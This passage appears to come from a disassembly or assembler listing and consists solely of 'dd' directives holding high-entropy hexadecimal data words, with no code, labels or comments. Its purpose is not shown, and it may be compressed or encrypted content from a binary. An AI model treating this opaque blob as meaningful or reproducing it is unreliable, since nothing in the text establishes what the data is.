		dd 563AE76Eh, 0C76F07C9h, 50B02AE3h, 540D2F0h, 9E8FE000h
		dd 53C05C2Eh, 0AF68485Dh, 0CED840h, 29781BDEh, 0A2FEFB0Ch
		dd 7004BB01h, 23B1E111h, 1E67A8CBh, 9F1D0324h, 144E69C1h
		dd 832DE8E8h, 374FAD01h, 0FBA8711Bh, 725394E8h,	0E23898BEh
		dd 0F7E41081h, 0EEB8C021h, 428034h, 7CDF1961h, 6766066Ah
		dd 0B6BBAB05h, 0EC0EC0F2h, 551DE70Eh, 0A117E700h, 568F0110h
		dd 0FD513E4Bh, 38BCF4DBh, 143AD77Ch, 0E36F8071h, 2B8C4F19h
		dd 8DE4007Bh, 2E63D923h, 6949B57Dh, 0AEB20AA0h,	428DC29h
		dd 0F7253801h, 800C3C4Eh, 7A15E1E0h, 3BDB9813h,	0F99822A5h
		dd 2E263882h, 331DB900h, 71C2537Bh, 2C8C7858h, 0F0226Fh
		dd 95C612FEh, 0BC007B45h, 42B8C24Fh, 0C0239D04h, 6C020120h
		dd 0D400510Eh, 0F153E561h, 9D7AAECh, 79546A1h, 2927000h
		dd 0F800835Fh, 40BF2466h, 2FC010h, 0F0B9DF46h, 7AF7CCB2h
		dd 8125293Ch, 6B4D2E5Ah, 1430A5E5h, 0DE9A003Ah,	524195Ch
		dd 904802E1h, 0F48EFh, 735301F6h, 755AB93h, 236A49A4h
		dd 897E308Fh, 4A00F3C7h, 0A7087139h, 795B14B5h,	522E284Dh
		dd 590704E4h, 301E8910h, 188B3F0h, 30F42DDCh, 0FCF5F82Eh
		dd 0F008907h, 1954058Eh, 0B71FF9Dh, 0F1CB77BBh,	4860108Fh
		dd 5358BDCEh, 35FB9700h, 14634B6Bh, 0FE1A7512h,	28F2013Fh
		dd 629C9F59h, 0CD44080h, 9101F864h, 78C6687Bh, 0E1C8B443h
		dd 0AC950099h, 46D23B7Ah, 0D100A1E6h, 844F5EAFh, 350F39Ch
		dd 55B1BBA8h, 0BDA86471h, 650012D7h, 72919556h,	49D74E2h
		dd 41E1EA3Ch, 0FE64A0CDh, 97D70086h, 8A0EF3F7h,	1E031DDEh
		dd 8705EBAh, 3F36A0B0h,	0EFDA00D3h, 0D1DB06C6h,	30584BFCh
		dd 8CEE2EC3h, 59A93B00h, 1C55D4E0h, 40AC8113h, 5EA0100Dh
		dd 0F24E6958h, 82689800h, 8DDAE5h, 0B0A22CE4h, 11C0F6DFh
		dd 7690A300h, 0D93CD6FBh, 7D1704Ah, 9867C641h, 7492E012h
		dd 0E400C5A1h, 0E3A09C97h, 95542Bh, 9BAA01CAh, 3A1B28AEh
		dd 2E507D0Fh, 6AB44061h, 70FFABh, 0CBD326FBh, 0C22F4B69h
		dd 1E63E400h, 762BEFF7h, 64EA16B8h, 0F8261CECh,	79C4A403h
		dd 0E4D8D93Eh, 0B200C7ABh, 958CB88Fh, 39BBB4Fh,	0A4D3D06Bh
		dd 0EEF0623Eh, 9098821Eh, 4E80D900h, 424FA610h,	0E4790050h
		dd 56FBF270h, 0BE0F1B98h, 0E478F190h, 0D8C02355h, 0A1C40Ah
		dd 80C2DFD7h, 0ABF8FDBFh, 0BE1DEE1Ch, 59E99E40h, 9263F0Ch
		dd 1E29BDD2h, 634168C8h, 303DD527h, 61AA58h, 0C149FF33h
		dd 0B266088h, 42B20413h, 0B14C9000h, 0A5E936h, 7098BDACh
		dd 599DDF5h, 857E7700h,	53F9C86Dh, 0B9C4003Dh, 0EE9CF4AAh
		dd 4E12E3CDh, 280F662Dh, 0D6AC47BAh, 0FAF7D5C0h, 0C4F816h
		dd 6DB0FB7Ch, 597E79A2h, 909AE7Fh, 42AFAC8h, 2CC0311Ch
		dd 71C9B4h, 65E1E74Fh, 0EDC4886Ch, 38BC69F2h, 0FF565400h
		dd 1FBE708h, 0E65BA5D7h, 0D8583EDDh, 2400DC07h,	0BE25FCA7h
		dd 1AB73A0h, 92743C7Ah,	0C0CA69F0h, 1C0F166Fh, 8FD960F1h
		dd 77146162h, 92301FCCh, 3FFFB0A0h, 0C380EE07h,	28A8347Ah
		dd 7116129Eh, 4FA7D19h,	0C03DDB36h, 966C76FCh, 1A416E1Dh
		dd 0C6BB2EC1h, 0A206B3Ch, 30A0142Dh, 0F00A2BDh,	6E47E3F2h
		dd 0CC009BCDh, 24569AE9h, 5BAB6EAh, 0F3C8F573h,	0CED46037h
		dd 500918Eh, 0EB446ACBh, 160AD2C1h, 0FC738BAh, 1F80CE3Eh
		dd 9828F4ADh, 873FCFFEh, 0B00D865h, 9CDCE7DEh, 7921E20Ch
		dd 0BF2B004Ch, 7A85604Fh, 6700B2F7h, 0C9E71D6Bh, 0A87228h
		dd 0A6CC1655h, 0BEDC6585h, 3590CF07h, 95D0ECEAh, 40D6D2h
		dd 48042153h, 0EFC7A57Fh, 1605603h, 0CEF1DFh, 26E51310h
		dd 0DEA594D0h, 786D4001h, 0A88EB8Ah, 0CCE0AFE9h, 0CEB11319h
		dd 4A1400A2h, 3972581Eh, 4B65DD00h, 9847BA69h, 830D006Ah
		dd 0DC46DAB6h, 6D06A1F3h, 5BC864E7h, 8DF20068h,	5CD25F36h
		dd 7380F85h, 0C4ED800Ah, 53240328h, 6A60C24Ah, 0F0005120h
		dd 0B3EFCBh, 0A9B01B15h, 591454A7h, 0D8B29403h,	0E0564BD3h
		dd 0EAAE97h, 0E36525D6h, 1D752CF0h, 387248h, 0C5B28F32h
		dd 0F0EE2FBCh, 0BF1B0061h, 0E954D0F0h, 0B2D28CD9h, 0AD9DEC02h
		dd 3F6DE056h, 612100E3h, 3566E75Bh, 0C800F9C7h,	0A2C03B17h
		dd 0FA522Bh, 0EF5A797Fh, 5C8F94D4h, 0E5D8AB00h,	0C170F2DBh
		dd 0A5EA0033h, 3FB7FC2Ah, 8C00C0ECh, 86712E3Ch,	0CCB812h
		dd 0A239678Bh, 5E1A24D0h, 738AF000h, 61BEEAD6h,	0EE620064h
		dd 43D0C5Ch, 1A266DB3h,	10005CA4h, 53851F0Bh, 0D32B00B5h
		dd 0F9E3F86h, 0BB0394BAh, 34634798h, 0CCB6A8EEh, 7DEF018Fh
		dd 4E86CD7Fh, 0C64C6082h, 935DEA00h, 0FBEE3688h, 68304931h
		dd 17E0C816h, 0B23803DCh, 3DA0FF2Ch, 0ABF2BDE1h, 628F6000h
		dd 5BD2F811h, 21970576h, 80ADE577h, 0B2220310h,	0FD3BF670h
		dd 71C18CB5h, 3BAF5002h, 73BD88FCh, 0D35A1778h,	95300185h
		dd 0D82917EAh, 0C50C97F3h, 288A3C63h, 0ADDD06C3h, 10898737h
		dd 3BD2CE03h, 808DBC0Dh, 4814971Bh, 0C726106Bh,	0D74A0084h
		dd 0D3288838h, 17350503h, 87D2B909h, 90BA07A0h,	0ED9C005Ch
		dd 38FD9789h, 6200F272h, 23EB7F30h, 12CD8A79h, 6A5132h
		dd 12D2FE1Eh, 980339D6h, 1DFF283h, 0E666A8A7h, 9CC3002Dh
		dd 93BB13BCh, 0A1006275h, 11C760E3h, 13B1AE7Eh,	0C0367C3Ch
		dd 76EEF2D4h, 124064Ch,	4631E383h, 26DC11BCh, 0EFEA0096h
		dd 84941CD5h, 0C93FAC45h, 0B4071E7Dh, 275081C0h, 3582622h
		dd 0DC3A2303h, 0EDB06DECh, 0E817EE38h, 0F8D07EF8h, 7D9AAB2h
		dd 7D34181Fh, 7BB190B3h, 502E849h, 50968AC5h, 6A74E075h
		dd 24500ADh, 3379DA38h,	0A33BC48Fh, 0BC1B8116h,	61BACDA4h
		dd 5F028C78h, 7F47FC13h, 734C5878h, 9A0E7E1Ch, 604FBB5Ah
		dd 7EF1719Eh, 0EBF93B45h
		dd 7D386D01h, 0D057E76Bh, 0C600901Ah, 8FC51F5Ah, 253258h
		dd 0EE7AFA96h, 0C2CFE2BFh, 44F43900h, 20A317E6h, 0F00E006Ch
		dd 563A688Fh, 82004DAFh, 6DFFAC66h, 2D4C53Dh, 0EB1B0215h
		dd 41BB46h, 0FDFA60D3h,	80E3143Dh, 5ECAF4E0h, 0D80B8Fh
		dd 1055071Ah, 76469D58h, 2ECE3300h, 0AAB85212h,	0F413EC8Eh
		dd 0F893006Fh, 0C7956C46h, 911E0FA1h, 0AE44FB10h, 1EC3B6D3h
		dd 9A709822h, 0ACBB4C29h, 5D7057Ah, 813E0139h, 346BB580h
		dd 1C4C1A58h, 4747CF50h, 6A0E129h, 1F0DD7A2h, 407C13A6h
		dd 0A8AA09DDh, 0F700AB20h, 5B659629h, 0E65166h,	767D2490h
		dd 3B33BEEFh, 0A435AE0Eh, 55DD61ADh, 0A4207528h, 96FA00D2h
		dd 91F662B1h, 6400B05Eh, 0A8951752h, 98FD399Ah,	790700DEh
		dd 0CC86188Eh, 131FC0E0h, 7D80A0BAh, 514023FFh,	0AB3D282Eh
		dd 212D00F8h, 81C274BDh, 0DD003AF4h, 93919947h,	0F808F9Eh
		dd 24AACF5Eh, 6D38D960h, 71005522h, 966E0F67h, 65E54AEh
		dd 30B1FA02h, 0E55BB62Eh, 2C09F800h, 9CA81A8Dh,	27DD019Ch
		dd 299015D1h, 0CEA20124h, 0AEB1BFFBh, 0DA65A440h, 0FCAA1370h
		dd 7E40162h, 68308BF4h,	0A7007EA4h, 96164447h, 33D1EF5h
		dd 0FF60053Fh, 3C886A4Eh, 4F49ACF1h, 0EB88005Ch, 5AD1682Dh
		dd 7FB71E53h, 77D28078h, 75C8BF63h, 19AC900h, 0E7A02CBEh
		dd 84CA1480h, 171E8F76h, 0A2FD4045h, 72DA1E7Ah,	0C4F15A28h
		dd 6D9C1D02h, 0F08D2EDEh, 0D5390198h, 680137F2h, 484AE05Dh
		dd 2280FDE9h, 21A68FA0h, 0DDB7E171h, 61D2F440h,	0BD970088h
		dd 0BB81C822h, 847616F1h, 531C63Fh, 65FBE2E7h, 5A6AA8D0h
		dd 0A0940E5Dh, 0D804DBEh, 0BA98EB80h, 3335181Fh, 139F4581h
		dd 6620251Eh, 0E5FABEh,	6CFFA966h, 0FA27904Ch, 61C69C00h
		dd 0BA9EE351h, 84780741h, 0C06305F4h, 0AD87DD7Ch, 74A0C700h
		dd 81E5A88Eh, 770D000Ah, 241E394h, 0B7005A53h, 9838D34Ah
		dd 87B99Dh, 0BF23A65Fh,	8F7B2C4Eh, 33CF200h, 0F40E2D75h
		dd 32BC40h, 0FA5FCA9Dh,	0A700172Fh, 0E6F04295h,	3AEA4648h
		dd 24488945h, 1006548h,	7B8735A3h, 6000C99Fh, 0F86836B6h
		dd 0DED196h, 66583CFh, 0A4FF4A3Eh, 91AD6E00h, 465F0C78h
		dd 3C09E12h, 8A3B1D13h,	4323AFB8h, 8E8C1900h, 2FF4F981h
		dd 0B7135865h, 1B469100h, 7EC5E0Ch, 0D00D9300h,	0EF198310h
		dd 4029003Eh, 0CF31F3FEh, 1D395262h, 0B04B8006h, 0E359046Ah
		dd 7BA4A51h, 0CB6F437Ch, 7B898420h, 55026EEFh, 0D25195D8h
		dd 0B3FF43D7h, 0E272E092h, 8F400BF6h, 4D80DC50h, 206BA030h
		dd 31187A00h, 0F010DA9Eh, 255E845h, 73F88886h, 28716993h
		dd 30363806h, 672AE778h, 76DEC078h, 6A50A2C6h, 0B9003084h
		dd 0BC5E515h, 19DC04h, 69AABA0Ah, 0F25718EDh, 5E000C78h
		dd 0C91E9255h, 0E83F393Ah, 28CE244h, 63FB605Dh,	0DB814267h
		dd 0C45A2C59h, 71000AD9h, 1DE2CA95h, 0A4F3F2Dh,	0C90DF1ECh
		dd 83116084h, 320270F4h, 0B36063C7h, 8FA460BCh,	0D9B7082Fh
		dd 670942F0h, 0E6507011h, 7CA49817h, 963D05DAh,	0F15773A2h
		dd 0F4B8ED44h, 9500B579h, 0C91E236h, 855E0Bh, 15664893h
		dd 9AFA0D57h, 0F6C6BA00h, 68D21A5Ah, 5F910734h,	10DDAB8Ah
		dd 0DF8EBD51h, 0A856CCE3h, 0DB1AE403h, 0F8AA3611h, 4FB525B6h
		dd 0D0D0049Eh, 0C2D1402Ch, 2D4031h, 5C9BC424h, 0AFE7BB14h
		dd 0A9324C07h, 0B9C07B05h, 306D3F73h, 35515778h, 7000E6BDh
		dd 4303E961h, 0F13079h,	21F03EFFh, 26A3B9B4h, 0CD005DF0h
		dd 0B6F6EA58h, 0FAF73h,	0E6F11FC7h, 69BAE121h, 9275BE02h
		dd 7874F055h, 0B88C0078h, 5D12075Eh, 6F00171Dh,	15790C4Fh
		dd 3C6B30EEh, 5A0020F5h, 0A44290C2h, 9BEA3E8Dh,	8BFC3C09h
		dd 60840741h, 0F9C4C54Eh, 0C8400680h, 76777EDh,	26B150D2h
		dd 700079FDh, 922E6A22h, 32843E01h, 78C537E3h, 87DC20h
		dd 0F2F9924h, 0E1D893BEh, 62129225h, 98936018h,	5B5200DAh
		dd 19D9F17h, 6107A3FBh,	2AA8AF2h, 59E2AFC0h, 1C80978Ch
		dd 929045E9h, 8176F500h, 3B3C1433h, 60EBF2h, 0ADE67Ah
		dd 0E69BE3F9h, 9D8AF3B0h, 0DE072400h, 0C0FF7CC8h, 16D700AEh
		dd 666ADB94h, 59504D4Ah, 0B7004994h, 3ADC64Ch, 238FC9Bh
		dd 711180E1h, 78EC6C53h, 699DFE0Fh, 0C0C74FF1h,	5DF76321h
		dd 0D43A6038h, 0BC2C3196h, 97EDB700h, 4F70CA02h, 3BC50093h
		dd 0CE1D74D9h, 0B04813EFh, 5E060038h, 0BD6FF533h, 0E2BC007Bh
		dd 17DB6E2Fh, 0C000FEC2h, 4B5FD14Ah, 0E68149h, 0CF3F2545h
		dd 0B918CB3Eh, 0B327F000h, 7090DDDAh, 0A6310012h, 36ADD77Ah
		dd 0E600FF5Bh, 8C1C77F5h, 279D27Ch, 2A4370F2h, 1C4085BBh
		dd 0FC004F06h, 0C57C1DCBh, 4AECF9h, 852EDB36h, 0E24EB937h
		dd 5BAA2307h, 0DF31C112h, 943413A4h, 2FB900BBh,	0CBF3A5B3h
		dd 1A006D99h, 5614E6A1h, 27E965AEh, 20C0EF32h, 0B023FFAh
		dd 9F225AD2h, 493606Bh,	345700F8h, 58E2CC41h, 0D00F3DCh
		dd 0DBF18AB3h, 0F51F24h, 0A225C628h, 0EC73342Ah, 6B0DAA00h
		dd 5A943CAEh, 0F0F200ABh, 0EF7D475Fh, 0C300B41Dh, 7F3958E4h
		dd 0FA5E34h, 0CBDD45D1h, 302667D3h, 4F858499h, 0A4B09D04h
		dd 0EEB11F33h, 9991401Eh, 0B7A5CC37h, 2EE38700h, 8E2A35DCh
		dd 0D5D20339h, 90639D97h, 0A5B4BEA0h, 13C4B100h, 0BF5EB9BCh
		dd 701400AEh, 646C397Fh, 4C00D072h, 82BD3C4Eh, 32B558h
		dd 94F4E77Ch, 3F6D4A30h, 5700D0EAh, 0FB3624D9h,	981974h
		dd 0A5CF1C39h, 5E7EDCEAh, 6D05C000h, 2237936Ah,	8A492E5Dh
		dd 0FD3500BCh, 3943F161h, 0B49D4C03h, 0BF83294Bh, 0B11C014Bh
		dd 8DE5AEC3h, 26881460h, 800C564Eh, 5AEB7E79h, 0E902CE40h
		dd 16DDEF58h, 0B7A060A7h, 7BAD0F29h, 0E0206CA9h, 84716B8Dh
		dd 965FC301h, 982BC470h, 0A4F670h, 214CC802h, 0B469282Eh
		dd 3C04DCFCh, 8CF4788Bh, 0D5A54C0h, 0F52400F0h,	19DEE766h
		dd 71001257h, 0D12311D9h, 0E4304FCFh, 9A4E0049h, 0BB59A94Bh
		dd 80075E52h, 0D7C935B4h, 39E05041h, 0DB71E4h, 0A8303A89h
		dd 6C478890h, 282A4500h, 9F1E3B82h, 260C0483h, 0C0278912h
		dd 0E2B15F0Bh, 0D1F9426h, 0D702C00h, 54F15AAh, 5D49CCF9h
		dd 0B94483A1h, 0F0DF1FD9h, 2000AD4h, 4EFE541Bh,	1BE71A3h
		dd 0FF1C9405h, 8C7E5918h, 0E0FABB78h, 0B3E100BFh, 0F61FD9F2h
		dd 25052EFDh, 0C1428114h, 38B908C0h, 0E1A60071h, 974EF5EFh
		dd 0B13F1605h, 0AE07BC5Eh, 0B0082FEh, 904806CAh, 50C500EBh
		dd 0A16337D4h, 0AB25145Dh, 6698807Ch, 34AAD39h,	0C46ECAA8h
		dd 0E5FAB1BCh, 7637C068h, 0F248B81Fh, 1BB079Fh,	884B680Ch
		dd 34CC8C79h, 0CFB809h,	86FCD90Fh, 0B20C1F95h, 182201Fh
		dd 0EDB04FC0h, 0E78825h, 7269FE0h, 5349EBC9h, 56209D00h
		dd 7F0F4672h, 0CD6F3D28h, 0E97710E1h, 8E4270D2h, 2B53171h
		dd 89E4BD18h, 0ED880F3h, 67697Dh, 0D084150Ah, 9D0BB229h
		dd 3E578200h, 5FFF854h,	555A0703h, 0A0DAC9C7h, 4C14EC4h
		dd 3844B302h, 68A83B1Eh, 12A724h, 1A51B74Dh, 7D250BE4h
		dd 2CC7F203h, 642B1DFh,	0AB6CAE80h, 670E700Eh, 0CF18A660h
		dd 0A1348C91h, 0B13C00F5h, 9348D6D9h, 6600C9D0h, 0F716CAB2h
		dd 0E01F9Eh, 1991558Ah,	0DA3A0253h, 444CD600h, 0FB62CDF3h
		dd 0AB700028h, 5C9FC4A8h, 0D40013BAh, 0A7A3AEB7h, 0B976A2h
		dd 0A90184E2h, 105477BCh
		dd 66BA0F00h, 0A0A2C247h, 232800F3h, 78DBAD7Ah,	0E100363Dh
		dd 54DC1E08h, 7B32608Ah, 0F9CB005Ah, 0EA39EB07h, 6D00F7D6h
		dd 36DAD422h, 6B7B03h, 89E96ED9h, 9A547409h, 0DD074600h
		dd 7923F249h, 94EE00BDh, 42FDA6B9h, 0F50F6057h,	81B63CF0h
		dd 0AB1073B7h, 3528320h, 0BE2A87A2h, 74C07E72h,	8E0025E6h
		dd 7A39D6AAh, 0B7DA11h,	82180B1Fh, 0BA6CC38Ch, 1B087718h
		dd 4CBEAA10h, 29167D31h, 0BF9840BCh, 88189E4Ch,	35A9BD0Eh
		dd 0D4EE60ECh, 4C790F32h, 450EC02Ch, 78031BE7h,	1282138Fh
		dd 27D41440h, 86EB0400h, 2825063Eh, 0AE9B00EFh,	0A33A81FDh
		dd 0A4002E32h, 0B2DF2674h, 0B06309B0h, 1FD0061Bh, 40E934BFh
		dd 672B371Ch, 128DA780h, 16E9248h, 5209EEB5h, 0CA30286Ah
		dd 5A005044h, 9F1A0CBBh, 92A1F93h, 0A74AF6CCh, 4EBE1400h
		dd 0A24F8E01h, 13387C00h, 9F4D92h, 9B1A0D2h, 0C7D68B43h
		dd 0AF1E601h, 721B2B3Ah, 0BAA45980h, 7D629729h,	284D6801h
		dd 3D469463h, 902DD1FCh, 6E2C0084h, 76F96619h, 5901413Ah
		dd 0B5E7F35Dh, 0C0F8A367h, 509817CBh, 0C6D500FEh, 6C229D64h
		dd 0ADC73000h, 0E53D743Eh, 0D7AA3080h, 33CF43E0h, 0E994FE00h
		dd 5F2885DDh, 26E4E2C4h, 214ACE6h, 0C9A8F556h, 0EFAB1040h
		dd 8D00509Ch, 0B30B4AAAh, 0C3747A14h, 8E3BA7F1h, 0DC2DA0DEh
		dd 808C428Ah, 0EABC7708h, 3E7E1485h, 0C8082C72h, 0A308D7CDh
		dd 1A26413Fh, 51C200D1h, 0E6E08B11h, 0DD10123Dh, 6780E52Eh
		dd 7E820C15h, 0C5B7A21h, 7B19270h, 207D5342h, 0AE28AFE0h
		dd 92422CE1h, 0F026A208h, 0EB65FF86h, 81643B0h,	15C1BE3Ch
		dd 2A182CBBh, 1A745089h, 0D42CE651h, 84A0676Ah,	2CA039C6h
		dd 84A8C1DBh, 0FCA870D2h, 5899B0BAh, 0E00FE1Dh,	794B2B3Ch
		dd 30980Ah, 0DC51E588h,	0BC5BC60Fh, 3699EE03h, 8C91C0h
		dd 854AA478h, 0E4316E86h, 0D3C380C0h, 30D7DA38h, 1870C452h
		dd 0AB00C82Ah, 5EFBDC8Dh, 736733Eh, 0BE7B39FEh,	0E6F3C33Bh
		dd 80827D81h, 0FF12A230h, 738CFC0h, 5AA67894h, 0E11B57Bh
		dd 0FA00597Ch, 7ED6E4D2h, 762DE300h, 0F9B3C5F2h, 0F5FE01FCh
		dd 28097BB1h, 95A7E020h, 96B9590Fh, 0FC05D3F0h,	8C40C8E0h
		dd 57805FB4h, 216A00A8h, 0DF59B1A1h, 2C0095B7h,	69A6ED02h
		dd 16BE4475h, 408C7E84h, 59DB8A60h, 8800D8D9h, 0B0DF5850h
		dd 9A645Ah, 3C4DB4E0h, 1ED02584h, 72BD1A00h, 0CC75B3B7h
		dd 3CF158B8h, 0E75D809Dh, 0F81EAC3Ah, 0C56B58h,	41C88D84h
		dd 51D539Eh, 0ACDD9F10h, 76D04F23h, 17F182C0h, 0F67FB55Eh
		dd 661A0B00h, 57E84BABh, 0F028C99Bh, 886AE4E8h,	0ABF4460Eh
		dd 555F406Fh, 87CAA9h, 0FE798124h, 0B746C903h, 0C5335300h
		dd 0F58D23A4h, 0DF2702F3h, 0F7308696h, 0D356E0D5h, 0F05F00F4h
		dd 2B3DD75Bh, 0AD00D6EFh, 0F680408Dh, 2EB631EAh, 62623BDh
		dd 1007A0ACh, 0B0049457h, 0ECC9D3h, 340F7837h, 0DF2A426Dh
		dd 0AC111700h, 4CA14FEEh, 0BE200048h, 6D530E28h, 1C308956h
		dd 0AFBB286Eh, 3EEE0085h, 0FE1BC986h, 0D307489Ah, 9B1D6D9Ch
		dd 2B03C2F0h, 0F78306FBh, 0CE7884B3h, 0C5A23001h, 0F4ECCDD3h
		dd 0B7EC30h, 2D630CB6h,	0E54ECB5Ah, 0D19DC900h,	76C45CA6h
		dd 0A21E015Dh, 0C35F6D46h, 0A43DE0DDh, 0B8BE1C00h, 27C65A77h
		dd 0DEB9007Ch, 61C3E109h, 0FE0C531Ah, 80417FE0h, 35570140h
		dd 12CCC7CFh, 4C22C49Fh, 145BCE00h, 58866738h, 83440049h
		dd 0A6204E84h, 0D30066B5h, 4DEECEC4h, 4B858Dh, 563E1AE1h
		dd 130B8858h, 0E3EADA00h, 0C34C94BBh, 0C7E2CEh,	731C7C85h
		dd 975D546Eh, 1DBA4800h, 0C8D58A13h, 12D0017h, 0A4BB8F59h
		dd 26009541h, 5845EF97h, 0B45DC2h, 0FF359A68h, 1193B27Dh
		dd 8E05291Eh, 54B7AB00h, 0F67A4CBh, 0F11D9173h,	0B45F0BA0h
		dd 201C2F93h, 0CE4759DAh, 0FB07C49h, 39366D4Dh,	61004F79h
		dd 2D9C9121h, 7800987Bh, 824A9FD0h, 252BADEh, 868AFEFFh
		dd 0C402DB0h, 5900D332h, 0CE3F2738h, 8273CFh, 0A2DAA021h
		dd 0F0FAFDEAh, 0E5B1C800h, 5C6D1FEFh, 0A14D00ABh, 2A7E4699h
		dd 0BA004ED0h, 0BEC265C1h, 0BF8441h, 8D6A3720h,	229AB433h
		dd 142E6200h, 536D54E0h, 158F00FBh, 0AB0CF8Ch, 4C04315Ah
		dd 84449278h, 93F78FC0h, 6DEB0081h, 1A66FECFh, 6207C365h
		dd 0BE0E2B43h, 16C0E037h, 0B84C4FD4h, 0B3FF0119h, 326C0D4Ah
		dd 0F083E0FCh, 0DEAE2B27h, 0B62C0047h, 1110AFE8h, 0E780D900h
		dd 0CEEB665Fh, 2E3D0017h, 67482824h, 75079FBAh,	23376485h
		dd 1B74FBB0h, 0C2BFC8Fh, 0AFD76D79h, 9E586EFEh,	589C00A9h
		dd 9018E2B7h, 91C1094Ch, 54001A08h, 0F573272Bh,	9A00367Bh
		dd 85A6013Bh, 0BA76EAh,	0B1E81C43h, 401007F4h, 4EBC3207h
		dd 0F840DF55h, 0A7B88h,	0B55DD1ECh, 0BBF7D73Ah,	74524B00h
		dd 0D30C75ACh, 47493DDAh, 27E000FEh, 3236B351h,	450F97B5h
		dd 10EB0CE4h, 0C0D19B1Fh, 8817664Ah, 34003905h,	797C8D3h
		dd 0D80690h, 5E0BE16Fh,	0CDD4FD60h, 0FE6AAB01h,	0A3741D0Eh
		dd 3C6FFCD4h, 0D8805149h, 96507AAEh, 22034A31h,	8F01FFCBh
		dd 37AA80F8h, 0C569092Dh, 58A3F354h, 0F588D37Fh, 1D1546B5h
		dd 808828B4h, 0EAA85C77h, 19D700ACh, 0D4A12051h, 960E4826h
		dd 4FC3F6FBh, 0AD3E439Bh, 9E18002Fh, 941245B5h,	0C7005EA8h
		dd 5DA79CC2h, 36B592Ch,	0D82753FFh, 0B4C0CBCFh,	93C6676h
		dd 78388750h, 46906507h, 13019Bh, 30E38190h, 9CAFA1FCh
		dd 0BDB99F00h, 53C443EBh, 7DBB0350h, 88D3069Bh,	137CA2B0h
		dd 0C18AF500h, 52CAE29Fh, 4CEA004Eh, 6D38B81Bh,	0F812E7BFh
		dd 0CF03FE3Ch, 90F9A006h, 1B44E3h, 8EED4534h, 908F1E13h
		dd 7DAB9200h, 225FF76h,	79301E1h, 3C7BB8D4h, 9448C4C3h
		dd 0FD122200h, 0DF03EB40h, 74CF0009h, 245270E6h, 6E036B95h
		dd 89E79964h, 89D8DA26h, 0B8A83E8h, 1B100023h, 990F9D01h
		dd 8A002A91h, 0D968623Ah, 6F4F46h, 4823B656h, 0BB3C1913h
		dd 9D58AEB8h, 396500F2h, 0E3D208BCh, 710F00E2h,	82BDC2BFh
		dd 850074A6h, 64598136h, 2ED3F8h, 69E6EBB2h, 0B6C482AEh
		dd 3155BF0Eh, 0B44600BCh, 39AD5Dh, 1653CDD2h, 0E80E48EBh
		dd 0B0F0800h, 3BB894A6h, 39DD176Ah, 337CE086h, 0FF16E00Fh
		dd 0C73121B4h, 0C4304C84h, 762A1FACh, 0C0019EABh, 7F9E675Fh
		dd 0CF3BC93Fh, 0ACFE809Bh, 392B4B0Ah, 0A9CA0085h, 5B93D655h
		dd 22143B77h, 489864B7h, 690201C8h, 93B1A24Bh, 0F91DCCCh
		dd 1A50A53Eh, 92334CE0h, 0C13A44F9h, 0CCE18088h, 0C78C7796h
		dd 84FAE2h, 0B2ED58F2h,	220E68B7h, 1C8E2800h, 2BD3AB91h
		dd 0A0DB00F5h, 76EECCD9h, 0EAB0CF03h, 95483BE6h, 9FA0E88h
		dd 8F4760D3h, 167DB12h,	80D43065h, 0CE3BCDB5h, 1A0FF5h
		dd 0B06DCF28h, 4D2000F2h, 9477C92Ah, 0EEE6AD86h, 817EAC01h
		dd 9B6A3A03h, 0BC046C8h, 0CF1E02Eh, 0F808EA01h,	7BB8FBB2h
		dd 4905C4E9h, 984FDAEAh, 16361000h, 8311BDh, 0C212A07Eh
		dd 0F3EB1586h, 469E242Ch, 4D5BD500h, 4261B9h, 5AEE7CAh
		dd 11B799A5h, 695EC900h, 2D3021C1h, 4F3C00A0h, 0E153E6F3h
		dd 0A7002C9Ch, 6C470426h, 32BCCA9h, 8C6B7B80h, 78D0195Bh
		dd 0E5E0FD5Fh, 7600CC92h, 0CEC2DDBDh, 0E65CB468h, 0C5C8004Fh
		dd 0BBC103E0h, 4E0ED811h, 0A030EC66h, 0B6ABDA9Dh, 69ED3D7Bh
		dd 7027DC80h, 39F2608Ah
		dd 7F3C7800h, 256D6368h, 820500E1h, 0C3D95081h,	5D7B1BB3h
		dd 18911E00h, 0A6C66DDCh, 0D3640038h, 0C37AA9D0h, 9500D909h
		dd 0BF2CA5CDh, 0F145CD1h, 792C6FAh, 572B610Fh, 1A854700h
		dd 0D270AC26h, 179A6900h, 0DF6004C0h, 0B4D0759h, 0D09F1A30h
		dd 0ABA8B264h, 0F288D800h, 0ADD5A655h, 52ED000Dh, 0D3034B06h
		dd 9D30E144h, 0B372C13h, 0B0470076h, 66C39F95h,	8E0019F4h
		dd 0E9BF05C9h, 504224CEh, 3E379C36h, 878173F3h,	7C515B70h
		dd 64B2611Eh, 8F1E8AF8h, 36C3F54Bh, 0D2B463Bh, 0EBD62819h
		dd 96F6E0D0h, 30F5401h,	6E2E096Bh, 71D8930h, 0FA884233h
		dd 0D34C5093h, 4700BBFEh, 2A68C37Bh, 761FE5h, 7E45820Eh
		dd 0AC992251h, 0AA8880C0h, 0C22358h, 3EE92FA2h,	54F690E3h
		dd 0DB709D00h, 344FC0F5h, 3B1C0429h, 0BEAA8A69h, 0E7AB11C0h
		dd 0C275A1h, 5E490878h,	7DA46167h, 98424A00h, 57D66B8Ch
		dd 0FF1B006Ch, 85C91A93h, 0DD00299Ch, 0B790635Ch, 3DF8949h
		dd 73A82A54h, 30D0B1E9h, 0E007D134h, 31E42B84h,	1ACEEEh
		dd 0BB6F92D6h, 601300ACh, 0D2CCB2B7h, 5B03F5A3h, 0F9D60EC6h
		dd 2C2DB8BAh, 0A19E3D29h, 9984EF80h, 0E7AF72FDh, 0E0B58FF6h
		dd 56C09Ch, 0B0BEA6BBh,	203C30DBh, 7B178978h, 3C0119D9h
		dd 0A8D034BDh, 0C3BBBD0h, 6B25E4DEh, 21C01A08h,	10A3E392h
		dd 22EF03C9h, 20493BAFh, 0B80858DEh, 31BC69h, 0BD5A561Bh
		dd 2A2EA07Ch, 0B009592Ch, 0B6080037h, 303E8F53h, 1D113DE2h
		dd 1600EEC8h, 17525963h, 0EECAE050h, 209B60A5h,	70EEDD36h
		dd 14DF0400h, 0CA739D83h, 745700D5h, 231E029Bh,	0C118F3A6h
		dd 9478770Bh, 967907h, 41CB3B61h, 86EFD8E0h, 6F25774h
		dd 77017498h, 9F9A0419h, 18E4527Ch, 0C28C3DA0h,	0A4C66E80h
		dd 55FC158Dh, 27245A75h, 0A7804C34h, 7CDC7DDAh,	3321EC57h
		dd 12085B23h, 0EA472100h, 0EC142D7Dh, 705E6BEh,	268F5072h
